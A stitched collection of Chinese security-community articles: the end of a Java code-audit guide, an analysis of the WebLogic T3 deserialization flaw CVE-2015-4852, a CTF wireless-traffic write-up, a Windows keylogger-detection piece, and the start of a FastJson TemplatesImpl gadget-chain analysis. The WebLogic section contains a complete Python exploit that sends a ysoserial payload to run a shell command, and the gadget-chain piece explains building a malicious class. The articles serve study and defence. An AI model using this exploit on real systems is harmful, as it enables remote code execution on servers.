return "";
}
##### 审计函数
水平、垂直越权不需关注特定函数，只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞
##### 修复方案
获取当前登陆用户并校验该用户是否具有当前操作权限，并校验请求操作数据是否属于当前登陆用户，当前登陆用户标识不能从用户可控的请求参数中获取。
### 批量请求
##### 介绍
业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能，这类请求如果不做任何限制，恶意攻击者可能进行批量恶意请求轰炸，大量短信、邮件等通知对正常用户造成困扰，同时也是对公司的资源造成损耗。
除了短信、邮件轰炸等，还有一种情况也需要注意，程序中可能存在很多接口，用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系，这类请求如不做限制也会被恶意用户批量利用，从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。
##### 漏洞示例
@RequestMapping(value="/ifUserExit",method = RequestMethod.GET)
public String ifUserExit(Model model, HttpServletRequest request) throws IOException {
String phone = request.getParameter("phone");
if(! phone.isEmpty()){
boolean ifex=userModel.ifuserExitByPhone(phone);
if (!ifex)
return "用户不存在";
}
return "用户已被注册";
}
##### 修复方案
* 对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制，不可在前端实现限制
### 第三方组件安全
##### 介绍
这个比较好理解，诸如Struts2、不安全的编辑控件、XML解析器以及可被其它漏洞利用的如commons-collections:3.1等第三方组件，这个可以在程序pom文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用，也不应该使用不安全的版本，一个产品的周期很长，很难保证后面不会引入可被利用的漏洞点。
##### 修复方案
* 使用最新或安全版本的第三方组件
### 危险函数自动化搜索脚本javaid.py
审计一个工程一般是需要通篇阅读代码，但是有的时候也需要简单粗暴的方法，就是关注一些可能产生漏洞的危险函数，这里分享一个自己编写的自动化脚本[JavaID](https://github.com/Cryin/JavaID
"JavaID")。通过正则匹配的方式去查找一些危险函数，由于特定的需求，阉割了一些正则，不过可以根据自己的需求在regexp.xml中自由添加。只是个辅助脚本，不能指望靠查找危险函数找到所有漏洞。一些框架安全、逻辑漏洞等等更多的还需要通读代码。
### 总结
除了上述相关的漏洞，在代码审计的时候有时会遇到一些特别的漏洞，比如开发为了测试方便关闭掉了一些安全校验函数、甚至未彻底清除的一些预留后门及测试管理接口等。除此，框架本身的安全问题也是可以深挖。一些安全校验、安全解决方案也未必就毫无破绽的，即便存在一些安全解决，但开发人员有没有使用以及是否正确使用安全方案都是可能存在问题的点。大公司都有成熟的框架，一些基本的安全问题并不是太多，但设计层面上的安全及流程相关的问题却基本依赖开发的经验。流程相关的漏洞则有必要先熟悉应用本身的设计和逻辑，这块也是潜在的风险点。
### 参考
* <https://github.com/Cryin/JavaID> | 社区文章 |
# Java安全之初探weblogic T3协议漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞，在weblogic里面其实反序列化漏洞利用中大致分为两种，一个是基于T3协议的反序列化漏洞，一个是基于XML的反序列化漏洞。当然也还会有一些SSRF和任意文件上传漏洞，但是在这里暂且不谈。
下面来列出两个漏洞类型的一些漏洞编号
基于T3协议漏洞：
CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
粗略的列了几个代表性的CVE漏洞。
在Weblogic中，有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内，CVE-2020-14882和CVE-2020-14883里面14883就是基于14882的补丁去进行的一个绕过。
## 0x01 浅析T3协议
### 关于T3协议的絮絮叨叨
关于这个T3协议，他是Weblogic里面独有的一个协议，在前面写的一篇关于RMI的文章里面提到过RMI的传输过程是传输的序列化数据，而在接收后会进行一个反序列化的操作。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是一样的。
下面对T3协议的传输过程、如何执行的反序列化操作、T3协议的执行流程去进行一个分析。
在之前先来看一张weblogic进行反序列化的执行流程图。
这里借用了一个图片，在该漏洞的一个入口点是weblogic里面的方法调用了原生的反序列化方法进行一个反序列化操作。
而这里还需要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操作原理这里就不讲了，可以看到我的该篇文章。
[Java安全之原生readObject方法解读](https://www.cnblogs.com/nice0e3/p/14127885.html),这里主要来讲一下T3协议的相关内容。
### T3协议概述
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序（包括客户端及其他
WebLogic Server 实例）间传输数据。
### T3协议结构
在T3的这个协议里面包含请求包头和请求的主体这两部分内容。
### 请求包头
这里拿2个CVE-2015-4852的POC来进行讲解。
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
这里就是他的请求包的头。
使用Wireshark对它进行抓包，由于配置的网卡抓不到包，靶机地址会在23段和1段的ip中来回切换。
这里为了能抓到包配置了一个nat模式的网卡，进行抓包，地址为192.168.23.130，改一下poc的目标地址，发送payload。
在这里在发送请求包头的时候，打了个断点，让脚本只发送请求包头数据，方便抓包。打开Wireshark抓包后发现，发送该请求包头后，服务端weblogic会有一个响应
HELO后面的内容则是被攻击方的weblogic版本号，在发送请求包头后会进行一个返回weblogic的版本号。
### 请求主体
在T3协议里面传输的都是序列化数据，这个在前面也说过，而传输中的数据分为七部分内容。第一部分为协议头。即`t3
12.2.3\nAS:255\nHL:19\nMS:10000000\n\n`这串数据。
来看到下面的图，图片取自z_zz_zzz师傅的[修复weblogic的JAVA反序列化漏洞的多种方法](http://drops.xmd5.com/static/drops/web-13470.html)文章。
看到第二到第七部分内容，都是`ac ed 00
05`,说明该串内容是序列化的数据。而如果需要去构造payload的话，需要在后面序列化的内容中，进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容，在传输完成后，进行反序列化达成攻击的目的。
- 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
## 0x02 漏洞环境搭建
### 环境搭建
这里借用了A-team 的weblogic漏洞环境项目来做搭建环境，省去不必要的麻烦。
漏洞环境地址：<https://github.com/QAX-A-Team/WeblogicEnvironment>
jdk地址：<https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html>
weblogic下载地址：<https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html>
这里需要把下载好的jdk文件放在该项目的jdks文件夹下，weblogic的源码放在weblogics文件夹下。
编译运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试。
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
如果不想这么麻烦的话可以直接运行对于的.sh脚本，比如这里安装的是1036 jdk是7u21
，直接运行`run_weblogicjdk7u21.sh`，自动安装以及自动从容器里面导出jar包。
### 远程调试
在这里将jar包复制到物理机上，然后打开IDEA创建一个空项目进行导入。
完成后就来配置远程调试
为了测试，这里使用WeblogicScan来扫描一下，看看在断点地方会不会停下。
在这里发现已经可以进行远程调试，后面我们就可以来分析漏洞了。
## 0x03 漏洞分析
### 漏洞复现
在这先来讲漏洞复现一下后，再进行漏洞的分析
还是拿exp为例子，但是我们这里是docker搭建的环境，也没有构造回显。常用的弹出计算器，就算执行了也没法显示出来，所以在这里使用创建文件的方式验证该漏洞是否利用成功。
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.1.40"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
执行完成后，查看docker容器里面的文件。
docker exec weblogic1036jdk7u21 ls tmp/
执行成功。
在执行exp的时候，如果开启debug去查看其实不难发现，发送t3的报文头信息以后会在返回包里面回显weblogic的版本号。
可以看到，后面通过正则提取了返回包的数据，拿到该版本号信息。
### 漏洞分析
T3协议接收过来的数据会在`weblogic.rjvm.InboundMsgAbbrev#readObject`这里进行反序列化操作。
来直接定位到该位置，可以看到断点的位置，里面调用了`InboundMsgAbbrev.ServerChannelInputStream#readObject`方法，查看一下
这里调用创建一个内部类，并且调用`readObject`方法，还需要查看一下 `ServerChannelInputStream`实现。
在这里其实就可以看到`ServerChannelInputStream`是一个内部类，该类继承`ObjectInputStream`类，而在这里对`resolveClass`进行了重写。
但是在此处看到，其实调用的还是父类的`resolveClass`方法。在`resolveClass`方法中也没做任何的校验，导致的漏洞产生。
后面来讲讲如何防御到该漏洞。
### 再谈resolveClass
`resolveClass`方法的作用是将类的序列化描述符加工成该类的Class对象。
前面分析readObject方法的时候，我们得知了shiro就是重写了`resolveClass`方法导致很多利用链无法使用，但是shiro在编写的时候，并不是为了防御反序列化漏洞才去重写的`resolveClass`，但是就是这么一个无意间的举动，导致了防御住了大部分攻击。
而在后面的weblogic补丁当中，也会基于这个`resolveClass`去做反序列化漏洞的防御。
贴上一张廖师傅的博客的反序列化攻击时序图：
那么这里需要思考到一个问题，为什么要在`resolveClass`进行一个拦截，而不是其他位置？
`resolveClass`方法的作用是从类序列化描述符获取类的Class对象，如果在`resolveClass`中增加一个检查，检查一下该类的序列化描述符中记录的类名是否在黑名单上，如果在黑名单上，直接抛出错误，不允许获取恶意的类的Class对象。这样以来，恶意类连生成Class对象的机会都没有。
来看到这个方法，在我的`readObject`分析文章里面贴出来一张图，`readObject`的内部使用`Class.forName`来从类序列化获取到对应类的一个Class的对象。
那么如果这里加入一个过滤，那么这里如果直接抛出异常的话，在`readNonProxyDesc`调用完`resolveClass`方法后，后面的一系列操作都无法完成。
### 参考文章
http://drops.xmd5.com/static/drops/web-13470.html
> [Weblogic12c T3 协议安全漫谈](https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/)
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
https://xz.aliyun.com/t/8443
## 0x04 修复方案
这里借鉴`z_zz_zzz`师傅的文章中提到的weblogic
T3协议漏洞的修复方案，除了打补丁外还有其他的修复方案，先来说说打补丁的方式，打补丁其实也是在`resolveClass`方法中实现拦截。
开放在外网的情况下，还可以采用web代理和负载均衡。
web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。
而负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
## 0x05 结尾
在这里其实分析比较浅，因为反序列化操作和CC链这一块，我觉得应该单独拿出来说，而不是集成到这个T3协议漏洞里面一并概述。所以在此处并没有对这两块内容进行分析，而这两块内容在前面都有进行分析过，自行查阅。后面的几个T3协议的漏洞，其实也是基于`resolveClass`的方式进行拦截过后的一个绕过方式，成了一个新的CVE漏洞。 | 社区文章 |
# 护网杯-old Attack题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 经过两个星期左右的学习，深入了一番IEEE 802.11，终于把护网杯那题0解的无线流量题目做出来了，下面分析一番，稍作扩展。
>
> 题目：Old Attack The title is hint。:)
## 题目提示
提示先后给了三个：
1、Evil AKM Fuzz?
2、不规范的802.11 frame
3、malformat RSN
## 题目附件
## 分析思路
先来分析下题目的第一个提示，Evil AKM Fuzz?，AKM是啥呢？这里我网上搜了下，Authentication and Key
Management，中文译为“认证和密钥管理”，那按照题目提示的意思是”邪恶AKM攻击”，sorry，这个我真不知道，抱歉啊，学艺不精，找到一个网站介绍[rsn-robust-secure-network](http://www.tech-faq.com/rsn-robust-secure-network.html)，里面有提到Authentication and Key
Management。不过，随着解题步骤的展开，好像发现了这个提示的意义，这个后面讲。
再看看第二个提示，很明显，提示我们可能需要着重分析数据包中不规范的802.11 frame的数据分组。
最后一个提示，malformat RSN，先介绍下RSN (Robust Secure Network)
，是通过802.11无线网络建立安全通信的协议，这个RSN在802.11
frame的数据分组哪个地方显示呢？翻看我的上一篇文章[一道无线流量题目引发的思考](https://www.anquanke.com/post/id/162546)其中的管理帧中Beacon的具体分析，里面有个Tag:
RSN Information ，然后自己去翻数据分组看看呗。
知道了这些，我们大概有这么个思路，分析dict.pcapng，找到能够解密huwang.cap握手包的秘钥，这个秘钥对于wireshark解密握手包而言，有三种格式，一种是针对wep的wep格式，另外两种是针对WPA的wpa-pwd和wpa-psk格式。详见下图
关于上述三种秘钥的填入的Key格式如下：
wep：key的格式是十六进制ASCII码的wifi密码，比如此时wifi密码为123456，那么输入的key应该是31:32:33:34:35。
wpa-pwd:key的格式为“密码:BSSID”，如：路由器名称为T35t，密码为12345678，那么输入的key应该是12345678:T35t。
wpa-psk:通过wireshark提供的[转化网址](https://www.wireshark.org/tools/wpa-psk.html)，只需输入ssid和密码就能将其转化为PSK值，将这个psk值即是填入的key值（这个详细操作也可以查看我的上一篇文章[一道无线流量题目引发的思考](https://www.anquanke.com/post/id/162546)，里面也提到另外一种通过airdecap-ng工具解密的方法）。
额，这里不妨先透露个题解的步骤，此题就是通过最后一种格式wpa-psk对huwang.cap进行解密的，而在这里，知道psk值格式是固定的64位是其中解题的关键。
## 解题步骤
### 非预期解法
打开数据包dict.pcapng，简单分析，会发现存在大量的Beacon数据分组，都为畸形数据分组，并且SSID为大量非常见字符。
往下随意滑动，至中部，会发现依旧为畸形数据分组，但SSID变为了长度均为64位的字符串。（到这里，可能有师傅已经明白解题的关键步骤了）
比赛做到这里，卡住了，因为那时不知道如何过滤不同类型帧的语句。比赛结束后，尝试了许久，实在没想通接下去的思路。就试着过滤各种802.11类型帧的数据包。然后，奇迹来了。当我试着执行过滤语句wlan.fc.type_subtype
== 0x0005过滤管理帧中类型为Probe Response的数据分组时，发现了下面两个分组，这引起了我的注意。
过滤之后，可以看到这两个畸形帧SSID的值均为e392618fbd761a9467e64f2aaebeb0c40cfad70d1ab323dbe0741bf3fdc475a4。（正好这个时候，出题老哥接受了我的好友申请，我就把自己到这步的思路跟老哥说，老哥有点惊讶”对，就是这个，你是怎么找到的?”
“额，直接执行过滤语句wlan.fc.type_subtype == 0x0005找到的”）。
随后我认真的分析了下这两个数据分组，发现并不完全符合题目中两个提示的要求，这是两个不规范的802.11 frame，但是并不存在malformat
RSN的数据呀。这里刚开始以为提示错了，因为按照下图所显示的，只是存在ssid的tag标签Group为Malformed，后面跟着的是正常的Tag:RSN
Information的标签。（后来返回去思考，发现是自己错了，这个后面再详细解释）。额，下面这个图有个描述有错，“被”应该改为“并”。
但是这两个畸形帧中SSID的长度为64，注意是64！，并且整个数据包里只有这两条Probe Response此类型
5447565467帧的数据分组，你说可不可疑=
如果懂得wpa-psk解密的key的固定格式为64位，那么自然而然，就会想着把这个长度64位的字符串尝试地去进行握手包huwang.cap的解密，但是那个时候并不清楚这些。也就是为什么上面讲到“知道psk值格式是固定的64位是其中的关键”。（当时的我以为还是在dict.pcapng中找到密码，然后使用aircrack-ng爆破huwang.cap的密码，再使用验证正确的密码去解密握手包，再接着分析，所以在这里，你可能不敢相信，我把这64位的字符串，按每隔八位拆分，去尝试爆破出正确的密码，那时太天真了）
顺着刚刚的思路，打开wireshark，依次按照步骤操作：编辑 -> 首选项 -> Protocols -> IEEE 802.11
，点击Edit，选填wpa-psk，输入刚刚得到的PSK值（那个64位的字符串），进行解密。（说来你可能不敢相信，那是一个慵懒的早上，我躺在床上情不自禁地想着那串64位长度的字符串到底是怎样能解开握手包时。突然意识到这个64字符串有可能是通过wpa-psk解密时所需要的key值，越想越可能，没想到还真是。这种感觉贼虚服，不知道老哥们有没有这种感觉，只可意会，不可言传。）
再次分析huwang.cap，发现上层数据均已显现出来。分析http，发现一个/djuds8RS/1.txt的访问路径
尝试访问，打开http://www.wiattack.net/djuds8RS/1.txt，得到flag
### 非预期原因
关于此题，可能由于环境部署的难度原因，出题老哥忘记做Probe Response此类型帧的混淆了，使得执行过滤语句wlan.fc.type_subtype
== 0x0005就可以过滤出类型为Probe Response，且最为可疑malformat
RSN数据分组中存在的畸形字长为64位的字符串，然后使用wpa-psk解密方式解密握手包huwang.cap，再分析解密后显现出的http流，即可得到最终的答案。
### 预期解法
准确地讲，题目虽然做出来了，但是这种解法也算是非预期解法。反过来去思考出题的思路，个人猜想出一些可能的预期解法，如下：
根据提示2，我们先过滤出不规范的802.11 frame，过滤语句_ws.expert.group ==
“Malformed”，这个在数据包里的过滤后的结果显示是这样的
根据提示3，它需要的是malformat
RSN的数据分组，那我们先过滤出存在RSN的数据分组，因为如果不存在RSN信息的数据分组，我们也就不需要去判断是不是malformat了。但过滤语句怎么写呢？
因为Tag：RSN Information中Tag Number为48，所以构造过滤语句wlan.tag.number == 48
结合提示2和3的过滤语句最后构造为_ws.expert.group == “Malformed”&&wlan.tag.number ==
48,下图为过滤结果，过滤出来全都是含有Tag：RSN Information和malformat的帧。
但是提示3说的是malformat RSN，所以我们需要知道Tag：RSN Information为不规范的malformat
RSN数据分组。稍微仔细点观察，翻到过滤后的数据分组末端，就会发现我们所想看到的malformat RSN分组。
上图就是分组序号112936得信息，但是解密的wpa-psk的值并不是这个分组长度64位的ssid值，但是它提供了这个异常分组的源mac地址和目的mac地址，尝试过滤下，页面如下
不知你有没有看到那个Tag: RSN Information中包含的子树所显示的Auth Key Management (AKM) Suite Count:
65535，当我看到这里的时候，好像明白了提示一的作用(￣▽￣)／。
而后面的解法，就跟之前提到的非预期解法一样啦。大家就自己分析去试试吧。其中的许多知识点，比如为啥wpa-psk值一定为64位等等，放了两个链接，大家随意啊。
[无线网络密码WPA/WPA2算法介绍（适合新手阅读
）](https://www.cnblogs.com/rjdeng/archive/2016/07/01/5633642.html)
[rsn-robust-secure-network](http://www.tech-faq.com/rsn-robust-secure-network.html)
## 题目总结
仔细分析流量包，你会发现，其中的Type/Subtype: Beacon frame
(0x0008)类型数据分组是做了大量混淆工作的，而说起这种混淆技术，运用的是哪种方法实现的那就够得谈了，这不仅涉及到题目的原理，也涉及到测试攻击的不同手段，下次讲咯。下面先放出本题所模拟Beacon大量请求的截图（本测试为个人设备演示，T35t为测试AP）：
最后，好好学习，天天向上。ヾ(๑╹◡╹)ﾉ” | 社区文章 |
# 【技术分享】Windows 键盘记录器 part2：检测
|
##### 译文声明
本文是翻译文章，文章来源：eyeofrablog.wordpress.com
原文地址：<https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【技术分享】Windows 键盘记录器
part1：应用层方法](http://bobao.360.cn/learning/detail/4084.html)
**
**
**0x00 前言**
回顾[
**第一部分**](http://bobao.360.cn/learning/detail/4084.html)，我们总结了4种Windows用户模式的键盘记录的方法，今天我们将分析每种技术的检测方式。
测试机器：
**0x01 SetWindowsHookEx**
当我们使用SetWindowsHookEx注册消息钩子时，系统将我们的钩子处理函数保存在钩子链（是一个指针列表）中。因为我们能注册任何消息类型的钩子，因此，每种消息类型都有一个钩子链。因此我们的目标是：
**系统内存中钩子链的位置（WH_KEYBOARD和WH_KEYBOARD_LL）**
**如何找到钩子的进程名**
对于钩子链的位置，可以参考如下：
nt!_ETHREAD + 0x0 => nt!_KTHREAD + 0x088 => nt!_TEB + 0x40 => win32k!tagTHREADINFO + 0xCC => win32k!tagDESKTOPINFO + 0x10 => win32k!tagHOOK
每个结构都很清楚（感谢Windows符号）。Offset值是我的测试机器的，不同的Windows版本和构建版本会不同（ntoskrnl和win32k.sys）。
从nt!_ETHREAD看，它一定是一个GUI线程。我们能从explorer.exe中得到GUI线程，或者自己创建。
在上面，我们能得到系统所有的全局钩子链的位置。这个有16个tagHOOK的数组指针，数组索引是WH_*消息类型的值（实际上是index=WH_*+1）。如果条目是空，我们能找到一个全局钩子链。
从tagHook中的_THRDESKHEAD看，我们能得到设置钩子的进程的tagTHREADINFO。因此我们能得到进程ID和进程名：
processIdOfHooker = PsGetProcessId(IoThreadToProcess((PETHREAD)(*pCurHook->head.pti)));
扫描结果：
好了，查找Windows全局消息钩子可以了。那么本地钩子怎么办？
下面是本地钩子：
nt!_ETHREAD + 0x0 => nt!_KTHREAD + 0x088 => nt!_TEB + 0x40 => win32k!tagTHREADINFO + 0x198 => win32k!tagHOOK
和全局钩子很相似，但是你能看见本地钩子链的位置是在进程的tagTHREADINFO结构体中的，它是进程相关的。tagDESKTOPINFO中的钩子链是相同桌面下所有进程的。
**0x02 轮询**
我确实不知道怎么扫描这种方式。为什么？因为它直接从内部结构读取键的状态，似乎没有方式来检测。
针对GetAsyncKeyState(), GetKeyboardState() API
hook？可以，我们可以通过API来检测，但是我不想用它，因为针对系统所有进程全局APIhook不是个好方法。使用API
HOOK，我们能检查频率和键盘记录键的范围。
**0x03 Raw Input**
我从分析user32.dll中的RegisterRawInputDevices函数开始。这个API将调用win32k.sys中的NtUserRegisterRawInputDevices。
在一些检查之后，进入_RegisterRawInputDevices
这里非常清楚。PsGetCurrentProcessWin32Process返回win32k!tagPROCESSINFO结构体。使用WinDbg查看偏移0x1A4：
有个指针指向win32k!tagPROCESS_HID_TABLE。
20-34行，验证注册的数据（HID请求）。
36-47行，如果不存在分配HID表。意味着，如果tagPROCESSINFO->pHidTable为空，进程中没有注册设备。
48-71行，设置HID请求到HID表中。
剩下的就是更新标志和重启HID设备。
让我们看下SetProcDeviceRequest函数：
系统分配一个HID请求，将它插入到HID表中
这里有2个HID请求的列表，分别是InclusionList, UsagePageList and
ExclusionList。插入哪个列表取决于调用RegisterRawInputDevices的tagRAWINPUTDEVICE的dwFlags值。
对于键盘记录，我使用RIDEV_NOLEGACY |
RIDEV_INPUTSINK标志，因此是InclusionList。最后一个结构体是win32k!tagPROCESS_HID_REQUEST
能看到usUsagePage, usUsage and spwndTarget是tagRAWINPUTDEVICE的参数。
对于原始输入的检测：
1\. 枚举系统所有的进程
2\. 针对每个进程，遍历pID -> PEPROCESS -> tagPROCESSINFO -> tagPROCESS_HID_TABLE ->
tagPROCESS_HID_REQUEST
3\. 如果我们找到usUsagePage = 1的条目（通常是桌面控制）和usUsage = 6（键盘），这个进程就是用来键盘记录的。
扫描结果：
**0x04 Direct Input**
当检测direct input时，我发现了注册钩子进程中的一些有趣的特征。
针对MSIAfterburner.exe，我发现了一些与direct input(Mutant, Section,
Key)相关的句柄。从运行的线程中，我们也能发现DINPUT8.dll（微软DirectInput库）。
对于direct input的检测：
1\. 枚举系统所有进程
2\. 对于每个进程，枚举所有的mutant、section、key，以匹配句柄特征
3\. 如果所有的特征都匹配了，我们得到进程的所有的线程的起始地址。如果起始地址在DINPUT8.DLL的地址空间中，则找到了键盘记录。
扫描结果：
**0x05 总结**
总结扫描方式如下：
传送门
[【技术分享】Windows 键盘记录器
part1：应用层方法](http://bobao.360.cn/learning/detail/4084.html) | 社区文章 |
# 前言
作为一名安全研究人员(java安全菜鸡)，知道拿到exp怎么打还不够，还得进一步分析exp构造原理与漏洞原理才行。本篇文章主要分析FastJson1.2.24中针对TemplatesImpl链的构造原理以及ysoserial中针对jdk7u21基于TemplatesImpl加动态代理链的构造原理。内容可能巨详细，希望没接触过这部分的同学可以耐心看下去。
# 1.TemplatesImpl初相识
FastJson1.2.24中基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这条链的入口点在TemplatesImpl的getOutputperties函数。当然本篇文章不再描述具体如何到这一步，有兴趣的可以参考我之前的一篇文章。[一步一步学习某Json1.2.47远程命令执行漏洞](https://xz.aliyun.com/t/6914)
因此在下图所示下断点在此，这里环境为jdk7u21。
这里首先将调用newTransformer()，首先定义类TransformerImpl的对象,其入口参数第一个为Translet的对象
因为此时调用了getTransletInstance()，跟进看看
其返回的是一个Translet类的对象，这里面判断_name
不能为null，否则就拿不到Tranlet对象，后面_class能不能为null，先留着，但是这里明显看到后面要用到_class
这里要用到_class，说明_class里面肯定是有东西的，要么是我们自己赋值，要么就是通过上面的defineTransletClasses()得到了，我们先跟进defineTransletClasses()看看
这里首先判断_bytecodes不能为null，为null将抛出错误信息
接着这里将拿到类加载器，通过它我们就可以对目标类进行加载，我们知道classloader除了调用loadclass来加载类以外，还可以调用findclass里的definedclass来通过加载字节码来在jvm中加载类，那么它肯定是classloader的子类，跟进看看其确实继承自ClassLoader，并且也看到了熟悉的defineclass函数，我们只要知道此时经过该类的definclass就能进行类的加载
继续往下看，下图中实际上取的是_bytecodes[i],并且i的范围也是我们可控的，这里我们知道defineClass是可以通过字节数组来在JVM创建类的，所以这里通过将恶意类的字节码放到_bytecodes里面就能够加载到JVM里
接着将拿到刚刚加载到JVM中的类的父类要求其父类必须是ABSTRACT_TRANSLET，不满足则放到_auxlclass里面，要是新加载的所有类的父类没有一个是ABSTRACT_TRANSLET的话，后面此时_transletIndex
< 0处的判断就要报错，因为_transletIndex初始值为-1
此时我们已经知道通过defineTransletClasses函数我们可以通过defineclass来从_bytecodes中加载恶意类，所以我们肯定要让这里的_class为null
我们已经知道_class数组中存储的是加载进来的恶意类，下标_transletIndex就是该恶意类对应的下标，所以接着就调用newInstance()来实例化我们的恶意类，那么我们把要执行的命令放在恶意类的static区或者构造方法中都可以
其中我们的其中恶意类如下，至于要声明两个transform是由于这里是继承自抽象类，所以在其子类中必须实现，这里不声明的话idea也会提示让你实现，idea真香2333~
事实也证明如此，我们可以clac了
并且经过以上分析最终的payload可以缩减为以下形式：
整个调用过程挺短的，实际上就是
TemplatesImpl -> getOutputProperties()
TemplatesImpl -> newTransformer()
TemplatesImpl -> getTransletInstance()
此时在getTransletInstance()函数中将调用恶意类的构造函数，即
_class[_transletIndex].newInstance()导致RCE
# 2.AnnotationInvocationHandler完美链接
这一部分的分析主要就是通过最外层的readObject反序列化直达getOutputProperties()的调用，即newTransformer()的调用。而ysoserial中已经包含了该链的构造过程，其getobject函数就能拿到该链最外层的对象，而调试ysoserial也很容易，不传命令的话会默认传calc.exe
这里我们传入要执行的命令后调用createTemplatesImpl即可，那么我们可以看看yso中是如何构造该对象的
这里首先通过class.forname获得了三个我们构造该链要用到的类，然后将要执行的命令和这三个类传入createTemplatesImpl
来返回一个经过精心构造的TemplatesImpl对象
这里首先newInstance()获得一个初始的TemplatesImpl对象，用于后面的装饰，然后创建首先创建一个CtClass的容器，我们可以用它按需读取类文件来构造
CtClass 对象，并且保存 CtClass 对象以便以后使用
**Java 字节码以二进制的形式存储在 .class 文件中，每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来
处理 Java
字节码的类库。它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象，通过完全手动的方式。**
由上面的解释也可以看出来这是一个功能强大的类。这里将首先会插入一个最原始的模板类，这个也就是作为我们用来执行命令的恶意类
通过以下这句代码我们就能够获得恶意模板类的对象，通过它我们就能够对该类的结构进行修改
然后将为该恶意模板类创建静态代码块，并插入rce的代码
这里rce的代码可以后面自己改，因此也可以自己根据需求定制
接着就是为该类起名字和设置该类的父类为abstranlet
接着就是获取该经过加工以后的类的字节码，以字节数组的形式保存，并通过反射的方式来设置templatesImple对象的_bytecodes变量值
其中setFieldValue函数第一个参数就是我们要设置的对象，第二个为属性，第三个参数为要设置的值
以上就完成了templatesImple的构造和恶意类的构造，但是如果不结合fastjson的反序列化特点的话就要找到一个新的readobject来链接到该templatesImple触发点，我们直接在hashset的readObject的中下断点进行调试，因为最终返回的是linkedHashSet的对象，因此入口点即在HashSet的readObject()函数
这里实际上将hashSet中的对象调用readObject()函数反序列化读出来然后放到有序列表的map中
由map.put就即将进入漏洞触发分析，因为后面要用到动态代理。所以这里简单分析一下这个技术：
首先要定义被代理的接口及其实现该接口的子类
